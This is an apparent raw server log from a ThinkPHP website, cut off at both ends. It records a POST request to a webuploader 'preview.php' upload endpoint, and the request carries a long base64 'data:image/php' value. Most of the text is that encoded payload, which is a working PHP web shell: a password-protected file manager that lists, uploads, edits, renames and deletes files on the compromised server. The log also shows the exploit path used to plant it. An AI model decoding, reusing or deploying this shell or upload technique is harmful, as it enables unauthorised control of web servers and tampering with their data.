VUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:17+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002726s] [吞吐率:366.83req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEV